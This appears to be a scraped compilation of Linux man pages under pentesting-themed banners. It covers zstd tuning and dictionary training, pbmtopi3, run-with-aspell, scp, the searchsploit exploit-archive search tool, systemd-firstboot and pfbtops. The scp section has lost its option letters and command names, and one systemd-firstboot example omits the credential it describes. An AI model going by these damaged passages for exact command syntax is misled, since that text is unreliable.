For all other strategies, this field has no impact.

The minimum tlen is 0 and the maximum is 128 KiB.

overlapLog=ovlog, ovlog=ovlog
Determine overlapSize, amount of data reloaded from previous job. This parameter is only available when multithreading is enabled. Reloading more data improves compression ratio, but decreases speed.

The minimum ovlog is 0, and the maximum is 9. 1 means “no overlap”, hence completely independent jobs. 9 means “full overlap”, meaning up to windowSize is reloaded from previous job. Reducing ovlog by 1 reduces the reloaded amount by a factor 2. For example, 8 means “windowSize/2”, and 6 means “windowSize/8”. Value 0 is special and means “default”: ovlog is automatically determined by zstd. In which case, ovlog will range from 6 to 9, depending on selected strat.

ldmHashLog=lhlog, lhlog=lhlog
Specify the maximum size for a hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Bigger hash tables usually improve compression ratio at the expense of more memory during compression and a decrease in compression speed.

The minimum lhlog is 6 and the maximum is 30 (default: 20).

ldmMinMatch=lmml, lmml=lmml
Specify the minimum searched length of a match for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger/very small values usually decrease compression ratio.

The minimum lmml is 4 and the maximum is 4096 (default: 64).

ldmBucketSizeLog=lblog, lblog=lblog
Specify the size of each bucket for the hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger bucket sizes improve collision resolution but decrease compression speed.

The minimum lblog is 1 and the maximum is 8 (default: 3).

ldmHashRateLog=lhrlog, lhrlog=lhrlog
Specify the frequency of inserting entries into the long distance matching hash table.

This option is ignored unless long distance matching is enabled.

Larger values will improve compression speed. Deviating far from the default value will likely result in a decrease in compression ratio.

The default value is wlog - lhlog.

Example

The following parameters sets advanced compression options to something similar to predefined level 19 for files bigger than 256 KB:

–zstd=wlog=23,clog=23,hlog=22,slog=6,mml=3,tlen=48,strat=6

-B#:

Specify the size of each compression job. This parameter is only available when multi-threading is enabled. Each compression job is run in parallel, so this value indirectly impacts the nb of active threads. Default job size varies depending on compression level (generally 4 * windowSize). -B# makes it possible to manually select a custom size. Note that job size must respect a minimum value which is enforced transparently. This minimum is either 512 KB, or overlapSize, whichever is largest. Different job sizes will lead to non-identical compressed frames.

DICTIONARY BUILDER

zstd offers dictionary compression, which greatly improves efficiency on small files and messages. It’s possible to train zstd with a set of samples, the result of which is saved into a file called a dictionary. Then, during compression and decompression, reference the same dictionary, using command -D dictionaryFileName. Compression of small files similar to the sample set will be greatly improved.

–train FILEs
Use FILEs as training set to create a dictionary. The training set should ideally contain a lot of samples (> 100), and weight typically 100x the target dictionary size (for example, ~10 MB for a 100 KB dictionary). –train can be combined with -r to indicate a directory rather than listing all the files, which can be useful to circumvent shell expansion limits.

Since dictionary compression is mostly effective for small files, the expectation is that the training set will only contain small files. In the case where some samples happen to be large, only the first 128 KiB of these samples will be used for training.

–train supports multithreading if zstd is compiled with threading support (default). Additional advanced parameters can be specified with –train-fastcover. The legacy dictionary builder can be accessed with –train-legacy. The slower cover dictionary builder can be accessed with –train-cover. Default –train is equivalent to –train-fastcover=d=8,steps=4.

-o FILE
Dictionary saved into FILE (default name: dictionary).

–maxdict=#
Limit dictionary to specified size (default: 112640 bytes). As usual, quantities are expressed in bytes by default, and it’s possible to employ suffixes (like KB or MB) to specify larger values.

-#
Use # compression level during training (optional). Will generate statistics more tuned for selected compression level, resulting in a small compression ratio improvement for this level.

-B#
Split input files into blocks of size # (default: no split)

-M#, –memory=#
Limit the amount of sample data loaded for training (default: 2 GB). Note that the default (2 GB) is also the maximum. This parameter can be useful in situations where the training set size is not well controlled and could be potentially very large. Since speed of the training process is directly correlated to the size of the training sample set, a smaller sample set leads to faster training.

In situations where the training set is larger than maximum memory, the CLI will randomly select samples among the available ones, up to the maximum allowed memory budget. This is meant to improve dictionary relevance by mitigating the potential impact of clustering, such as selecting only files from the beginning of a list sorted by modification date, or sorted by alphabetical order. The randomization process is deterministic, so training of the same list of files with the same parameters will lead to the creation of the same dictionary.

–dictID=#
A dictionary ID is a locally unique ID. The decoder will use this value to verify it is using the right dictionary. By default, zstd will create a 4-bytes random number ID. It’s possible to provide an explicit number ID instead. It’s up to the dictionary manager to not assign twice the same ID to 2 different dictionaries. Note that short numbers have an advantage: an ID < 256 will only need 1 byte in the compressed frame header, and an ID < 65536 will only need 2 bytes. This compares favorably to 4 bytes default.

Note that RFC8878 reserves IDs less than 32768 and greater than or equal to 2^31, so they should not be used in public.

–train-cover[=k#,d=#,steps=#,split=#,shrink[=#]]
Select parameters for the default dictionary builder algorithm named cover. If d is not specified, then it tries d = 6 and d = 8. If k is not specified, then it tries steps values in the range [50, 2000]. If steps is not specified, then the default value of 40 is used. If split is not specified or split <= 0, then the default value of 100 is used. Requires that d <= k. If shrink flag is not used, then the default value for shrinkDict of 0 is used. If shrink is not specified, then the default value for shrinkDictMaxRegression of 1 is used.

Selects segments of size k with highest score to put in the dictionary. The score of a segment is computed by the sum of the frequencies of all the subsegments of size d. Generally d should be in the range [6, 8], occasionally up to 16, but the algorithm will run faster with d <= 8. Good values for k vary widely based on the input data, but a safe range is [2 * d, 2000]. If split is 100, all input samples are used for both training and testing to find optimal d and k to build dictionary. Supports multithreading if zstd is compiled with threading support. Having shrink enabled takes a truncated dictionary of minimum size and doubles in size until compression ratio of the truncated dictionary is at most shrinkDictMaxRegression% worse than the compression ratio of the largest dictionary.

Examples:

zstd –train-cover FILEs

zstd –train-cover=k=50,d=8 FILEs

zstd –train-cover=d=8,steps=500 FILEs

zstd –train-cover=k=50 FILEs

zstd –train-cover=k=50,split=60 FILEs

zstd –train-cover=shrink FILEs

zstd –train-cover=shrink=2 FILEs

–train-fastcover[=k#,d=#,f=#,steps=#,split=#,accel=#]
Same as cover but with extra parameters f and accel and different default value of split If split is not specified, then it tries split = 75. If f is not specified, then it tries f = 20. Requires that 0 < f < 32. If accel is not specified, then it tries accel = 1. Requires that 0 < accel <= 10. Requires that d = 6 or d = 8.

f is log of size of array that keeps track of frequency of subsegments of size d. The subsegment is hashed to an index in the range [0,2^f - 1]. It is possible that 2 different subsegments are hashed to the same index, and they are considered as the same subsegment when computing frequency. Using a higher f reduces collision but takes longer.

Examples:

zstd –train-fastcover FILEs

zstd –train-fastcover=d=8,f=15,accel=2 FILEs

–train-legacy[=selectivity=#]
Use legacy dictionary builder algorithm with the given dictionary selectivity (default: 9). The smaller the selectivity value, the denser the dictionary, improving its efficiency but reducing its achievable maximum size. –train-legacy=s=# is also accepted.

Examples:

zstd –train-legacy FILEs

zstd –train-legacy=selectivity=8 FILEs

BENCHMARK

The zstd CLI provides a benchmarking mode that can be used to easily find suitable compression parameters, or alternatively to benchmark a computer’s performance. Note that the results are highly dependent on the content being compressed.

-b#
benchmark file(s) using compression level #

-e#
benchmark file(s) using multiple compression levels, from -b# to -e# (inclusive)

-d
benchmark decompression speed only (requires providing an already zstd-compressed content)

-i#
minimum evaluation time, in seconds (default: 3s), benchmark mode only

-B#, –block-size=#
cut file(s) into independent chunks of size # (default: no chunking)

–priority=rt
set process priority to real-time (Windows)

Output Format: CompressionLevel#Filename: InputSize -> OutputSize (CompressionRatio), CompressionSpeed, DecompressionSpeed

Methodology: For both compression and decompression speed, the entire input is compressed/decompressed in-memory to measure speed. A run lasts at least 1 sec, so when files are small, they are compressed/decompressed several times per run, in order to improve measurement accuracy.

SEE ALSO

zstdgrep(1), zstdless(1), gzip(1), xz(1)

The zstandard format is specified in Y. Collet, “Zstandard Compression and the ‘application/zstd’ Media Type”, https://www.ietf.org/rfc/rfc8878.txt, Internet RFC 8878 (February 2021).

BUGS

Report bugs at: https://github.com/facebook/zstd/issues

AUTHOR

Yann Collet

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

891 - Linux cli command pbmtopi3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtopi3 and provides detailed information about the command pbmtopi3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtopi3.

.

NAME 🖥️ pbmtopi3 🖥️

convert a PBM image into an Atari Degas .pi3 file

SYNOPSIS

pbmtopi3 [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtopi3 reads a PBM image as input and produces an Atari Degas .pi3 file as output.

OPTIONS

There are no command line options defined specifically for pbmtopi3, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pi3topbm(1) , ppmtopi1(1) , pi1toppm(1) pbm(1) ,

AUTHOR

Copyright (C) 1988 by David Beckemeyer (bdt!david) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtopi3.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

892 - Linux cli command run-with-aspell

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command run-with-aspell and provides detailed information about the command run-with-aspell, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the run-with-aspell.

NAME 🖥️ run-with-aspell 🖥️

with-aspell - script to help use GNU Aspell as an ispell replacement

SYNOPSIS

run-with-aspell <command>

DESCRIPTION

The recommended way to use Aspell as a replacement for Ispell is to change the Ispell command from within the program being used. If that is not possible, the run-with-aspell script may be used instead.

OPTIONS

<command>
is the name of the program with any optional arguments.

The old method of mapping ispell to Aspell is discouraged because it can create compatibility problems with programs that actually require ispell such as ispell’s own scripts.

SEE ALSO

aspell(1), aspell-import(1), word-list-compress(1)

Aspell is fully documented in its Texinfo manual. See the ` aspell ’ entry in info for more complete documentation.

AUTHOR

This manual page was written by Sudhakar Chandrasekharan <[email protected]> and Brian Nelson <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

893 - Linux cli command scp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scp and provides detailed information about the command scp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scp.

copies files between hosts on a network.

uses the SFTP protocol over a

connection for data transfer, and uses the same authentication and provides the same security as a login session.

will ask for passwords or passphrases if they are needed for authentication.

The

and

may be specified as a local pathname, a remote host with optional path in the form

or a URI in the form

Local file names can be made explicit using absolute or relative pathnames to avoid

treating file names containing

as host specifiers.

When copying between two remote hosts, if the URI format is used, a

cannot be specified on the

if the

option is used.

The options are as follows:

Copies between two remote hosts are transferred through the local host. Without this option the data is copied directly between the two remote hosts. Note that, when using the legacy SCP protocol (via the

flag), this option selects batch mode for the second host as

cannot ask for passwords or passphrases for both hosts. This mode is the default.

Forces

to use IPv4 addresses only.

Forces

to use IPv6 addresses only.

Allows forwarding of

to the remote system. The default is not to forward an authentication agent.

Selects batch mode (prevents asking for passwords or passphrases).

Compression enable. Passes the

flag to

to enable compression.

Selects the cipher to use for encrypting the data transfer. This option is directly passed to

Connect directly to a local SFTP server program rather than a remote one via

This option may be useful in debugging the client and server.

Specifies an alternative per-user configuration file for

This option is directly passed to

Selects the file from which the identity (private key) for public key authentication is read. This option is directly passed to

Connect to the target host by first making an

connection to the jump host described by

and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a

configuration directive. This option is directly passed to

Limits the used bandwidth, specified in Kbit/s.

Use the legacy SCP protocol for file transfers instead of the SFTP protocol. Forcing the use of the SCP protocol may be necessary for servers that do not implement SFTP, for backwards-compatibility for particular filename wildcard patterns and for expanding paths with a

prefix for older SFTP servers.

Can be used to pass options to

in the format used in

This is useful for specifying options for which there is no separate

command-line flag. For full details of the options listed below, and their possible values, see

Specifies the port to connect to on the remote host. Note that this option is written with a capital

because

is already reserved for preserving the times and mode bits of the file.

Preserves modification times, access times, and file mode bits from the source file.

Quiet mode: disables the progress meter as well as warning and diagnostic messages from

Copies between two remote hosts are performed by connecting to the origin host and executing

there. This requires that

running on the origin host can authenticate to the destination host without requiring a password.

Recursively copy entire directories. Note that

follows symbolic links encountered in the tree traversal.

Name of

to use for the encrypted connection. The program must understand

options.

Disable strict filename checking. By default when copying files from a remote host to a local directory

checks that the received filenames match those requested on the command-line to prevent the remote end from sending unexpected or unwanted files. Because of differences in how various operating systems and shells interpret filename wildcards, these checks may cause wanted files to be rejected. This option disables these checks at the expense of fully trusting that the server will not send unexpected filenames.

Verbose mode. Causes

and

to print debugging messages about their progress. This is helpful in debugging connection, authentication, and configuration problems.

Specify an option that controls aspects of SFTP protocol behaviour. The valid options are:

Controls how many concurrent SFTP read or write requests may be in progress at any point in time during a download or upload. By default 64 requests may be active concurrently.

Controls the maximum buffer size for a single SFTP read/write operation used during download or upload. By default a 32KB buffer is used.

is based on the rcp program in

source code from the Regents of the University of California.

Since OpenSSH 9.0,

has used the SFTP protocol for transfers by default.

The legacy SCP protocol (selected by the

flag) requires execution of the remote user’s shell to perform

pattern matching. This requires careful quoting of any characters that have special meaning to the remote shell, such as quote characters.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

894 - Linux cli command searchsploit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command searchsploit and provides detailed information about the command searchsploit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the searchsploit.

NAME 🖥️ searchsploit 🖥️

Exploit Database Archive Search

DESCRIPTION

Allow you to search through exploits and shellcodes using one or more terms from Exploit-DB

SYNOPSIS

searchsploit [options] term1 [term2] … [termN]

OPTIONS

-c, –case [Term] Perform a case-sensitive search (Default is inSEnsITiVe). -e, –exact [Term] Perform an EXACT match on exploit title (Default is AND) [Implies “-t”]. -h, –help Show this help screen. -j, –json [Term] Show result in JSON format. -m, –mirror [EDB-ID] Mirror (aka copies) an exploit to the current working directory. -o, –overflow [Term] Exploit titles are allowed to overflow their columns. -p, –path [EDB-ID] Show the full path to an exploit (and also copies the path to the clipboard if possible). -t, –title [Term] Search JUST the exploit title (Default is title AND the file’s path). -u, –update Check for and install any exploitdb package updates (deb or git). -w, –www [Term] Show URLs to Exploit-DB.com rather than the local path. -x, –examine [EDB-ID] Examine (aka opens) the exploit using $PAGER. –colour Disable colour highlighting in search results. –id Display the EDB-ID value rather than local path. –nmap [file.xml] Checks all results in Nmap’s XML output with service version (e.g.: nmap -sV -oX file.xml). Use “-v” (verbose) to try even more combinations –exclude=“term” Remove values from results. By using “|” to separated you can chain multiple values. e.g. –exclude=“term1|term2|term3”.

EXAMPLE

searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 –exclude="(PoC)|/dos/"

AVAILABILITY

As this is bash script, should be available on most *nix systems.

AUTHOR

Offensive Security (https://www.offensive-security.com/)
Unix-Ninja
g0tmi1k (https://twitter.com/g0tmi1k)

BUGS

No bugs have been reported for this version. Any bugs should be reported to Exploit-DB’s GitHub repo (https://gitlab.com/exploit-database/exploitdb).

NOTES

https://www.exploit-db.com/
Exploit Database Homepage

https://www.exploit-db.com/searchsploit/
SearchSploit manual

COPYRIGHT

Distributed under GNU General Public License v2.0 (https://gitlab.com/exploit-database/exploitdb/-/blob/main/LICENSE.md)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

895 - Linux cli command systemd-firstboot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-firstboot and provides detailed information about the command systemd-firstboot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-firstboot.

NAME 🖥️ systemd-firstboot 🖥️

firstboot, systemd-firstboot.service - Initialize basic system settings on or before the first boot-up of a system

SYNOPSIS

systemd-firstboot [OPTIONS…]

systemd-firstboot.service

DESCRIPTION

The systemd-firstboot.service unit is one of the units which are used to initialize the machine configuration during “First Boot”, i.e. when the system is freshly installed or after a factory reset. The systemd(1) manager itself will initialize machine-id(5) and preset all units, enabling or disabling them according to the systemd.preset(5) settings. systemd-firstboot.service is started later to interactively initialize basic system configuration. It is started only if ConditionFirstBoot=yes is met, which essentially means that /etc/ is unpopulated, see systemd.unit(5) for details. System credentials may be used to inject configuration; those settings are not queried interactively.

The systemd-firstboot command can also be used to non-interactively initialize an offline system image.

The following settings may be configured:

·

The machine ID of the system

·

The system locale, more specifically the two locale variables LANG= and LC_MESSAGES

·

The system keyboard map

·

The system time zone

·

The system hostname

·

The kernel command line used when installing kernel images

·

The root users password and shell

Each of the fields may either be queried interactively by users, set non-interactively on the tools command line, or be copied from a host system that is used to set up the system image.

If a setting is already initialized, it will not be overwritten and the user will not be prompted for the setting.

Note that this tool operates directly on the file system and does not involve any running system services, unlike localectl(1), timedatectl(1) or hostnamectl(1). This allows systemd-firstboot to operate on mounted but not booted disk images and in early boot. It is not recommended to use systemd-firstboot on the running system after it has been set up.

OPTIONS

The following options are understood:

**–root=**root

Takes a directory path as an argument. All paths will be prefixed with the given alternate root path, including config search paths. This is useful to operate on a system image mounted to the specified directory instead of the host system itself.

Added in version 216.

**–image=**path

Takes a path to a disk image file or block device node. If specified all operations are applied to file system in the indicated disk image. This is similar to –root= but operates on file systems stored in disk images or block devices. The disk image should either contain just a file system or a set of file systems within a GPT partition table, following the Discoverable Partitions Specification[1]. For further information on supported disk images, see systemd-nspawn(1)s switch of the same name.

Added in version 246.

**–locale=**LOCALE, **–locale-messages=**LOCALE

Sets the system locale, more specifically the LANG= and LC_MESSAGES settings. The argument should be a valid locale identifier, such as “de_DE.UTF-8”. This controls the locale.conf(5) configuration file.

Added in version 216.

**–keymap=**KEYMAP

Sets the system keyboard layout. The argument should be a valid keyboard map, such as “de-latin1”. This controls the “KEYMAP” entry in the vconsole.conf(5) configuration file.

Added in version 236.

**–timezone=**TIMEZONE

Sets the system time zone. The argument should be a valid time zone identifier, such as “Europe/Berlin”. This controls the localtime(5) symlink.

Added in version 216.

**–hostname=**HOSTNAME

Sets the system hostname. The argument should be a hostname, compatible with DNS. This controls the hostname(5) configuration file.

Added in version 216.

–setup-machine-id

Initialize the systems machine ID to a random ID. This controls the machine-id(5) file.

This option only works in combination with –root= or –image=. On a running system, machine-id is written by the manager with help from systemd-machine-id-commit.service(8).

Added in version 216.

**–machine-id=**ID

Set the systems machine ID to the specified value. The same restrictions apply as to –setup-machine-id.

Added in version 216.

**–root-password=**PASSWORD, **–root-password-file=**PATH, **–root-password-hashed=**HASHED_PASSWORD

Sets the password of the systems root user. This creates/modifies the passwd(5) and shadow(5) files. This setting exists in three forms: –root-password= accepts the password to set directly on the command line, –root-password-file= reads it from a file and –root-password-hashed= accepts an already hashed password on the command line. See shadow(5) for more information on the format of the hashed password. Note that it is not recommended to specify plaintext passwords on the command line, as other users might be able to see them simply by invoking ps(1).

Added in version 216.

**–root-shell=**SHELL

Sets the shell of the systems root user. This creates/modifies the passwd(5) file.

Added in version 246.

**–kernel-command-line=**CMDLINE

Sets the systems kernel command line. This controls the /etc/kernel/cmdline file which is used by kernel-install(8).

Added in version 246.

–prompt-locale, –prompt-keymap, –prompt-timezone, –prompt-hostname, –prompt-root-password, –prompt-root-shell

Prompt the user interactively for a specific basic setting. Note that any explicit configuration settings specified on the command line take precedence, and the user is not prompted for it.

Added in version 216.

–prompt

Query the user for locale, keymap, timezone, hostname, roots password, and roots shell. This is equivalent to specifying –prompt-locale, –prompt-keymap, –prompt-timezone, –prompt-hostname, –prompt-root-password, –prompt-root-shell in combination.

Added in version 216.

–copy-locale, –copy-keymap, –copy-timezone, –copy-root-password, –copy-root-shell

Copy a specific basic setting from the host. This only works in combination with –root= or –image=.

Added in version 216.

–copy

Copy locale, keymap, time zone, root password and shell from the host. This is equivalent to specifying –copy-locale, –copy-keymap, –copy-timezone, –copy-root-password, –copy-root-shell in combination.

Added in version 216.

–force

Write configuration even if the relevant files already exist. Without this option, systemd-firstboot doesnt modify or replace existing files. Note that when configuring the root account, even with this option, systemd-firstboot only modifies the entry of the “root” user, leaving other entries in /etc/passwd and /etc/shadow intact.

Added in version 246.

–reset

If specified, all existing files that are configured by systemd-firstboot are removed. Note that the files are removed regardless of whether theyll be configured with a new value or not. This operation ensures that the next boot of the image will be considered a first boot, and systemd-firstboot will prompt again to configure each of the removed files.

Added in version 254.

–delete-root-password

Removes the password of the systems root user, enabling login as root without a password unless the root account is locked. Note that this is extremely insecure and hence this option should not be used lightly.

Added in version 246.

–welcome=

Takes a boolean argument. By default when prompting the user for configuration options a brief welcome text is shown before the first question is asked. Pass false to this option to turn off the welcome text.

Added in version 246.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

CREDENTIALS

systemd-firstboot supports the service credentials logic as implemented by ImportCredential=/LoadCredential=/SetCredential= (see systemd.exec(5) for details). The following credentials are used when passed in:

passwd.hashed-password.root, passwd.plaintext-password.root

A hashed or plaintext version of the root password to use, in place of prompting the user. These credentials are equivalent to the same ones defined for the systemd-sysusers.service(8) service.

Added in version 249.

passwd.shell.root

Specifies the shell binary to use for the specified account. Equivalent to the credential of the same name defined for the systemd-sysusers.service(8) service.

Added in version 249.

firstboot.locale, firstboot.locale-messages

These credentials specify the locale settings to set during first boot, in place of prompting the user.

Added in version 249.

firstboot.keymap

This credential specifies the keyboard setting to set during first boot, in place of prompting the user.

Note the relationship to the vconsole.keymap credential understood by systemd-vconsole-setup.service(8): both ultimately affect the same setting, but firstboot.keymap is written into /etc/vconsole.conf on first boot (if not already configured), and then read from there by systemd-vconsole-setup, while vconsole.keymap is read on every boot, and is not persisted to disk (but any configuration in vconsole.conf will take precedence if present).

Added in version 249.

firstboot.timezone

This credential specifies the system timezone setting to set during first boot, in place of prompting the user.

Added in version 249.

Note that by default the systemd-firstboot.service unit file is set up to inherit the listed credentials from the service manager. Thus, when invoking a container with an unpopulated /etc/ for the first time it is possible to configure the root users password to be “systemd” like this:

systemd-nspawn –image=… –set-credential=firstboot.locale:de_DE.UTF-8 …

Note that these credentials are only read and applied during the first boot. Once they are applied they remain applied for subsequent boots, and the credentials are not considered anymore.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

KERNEL COMMAND LINE

systemd.firstboot=

Takes a boolean argument, defaults to on. If off, systemd-firstboot.service wont interactively query the user for basic settings at first boot, even if those settings are not initialized yet.

Added in version 233.

SEE ALSO

systemd(1), locale.conf(5), vconsole.conf(5), localtime(5), hostname(5), machine-id(5), shadow(5), systemd-machine-id-setup(1), localectl(1), timedatectl(1), hostnamectl(1)

NOTES

Discoverable Partitions Specification

https://uapi-group.org/specifications/specs/discoverable_partitions_specification

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

896 - Linux cli command pfbtops

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pfbtops and provides detailed information about the command pfbtops, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pfbtops.

Name

pfbtops - translate PostScript Printer Font Binary files to Printer Font ASCII

Synopsis

pfbtops [pfb-file] pfbtops –help pfbtops -v pfbtops –version

Description

pfbtops translates a PostScript Type 1 font in Printer Font Binary (PFB) format to Printer Font ASCII (PFA) format, splitting overlong lines in text packets into smaller chunks. If pfb-file is omitted, the PFB file will be read from the standard input stream. The PFA font will be written on the standard output stream. PostScript fonts for MS-DOS were historically supplied in PFB format. Use of a PostScript Type 1 font with groff requires conversion of its metrics (AFM file) to a groff font description file; see

The –help option displays a usage message, while -v and –version show version information; all exit afterward.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
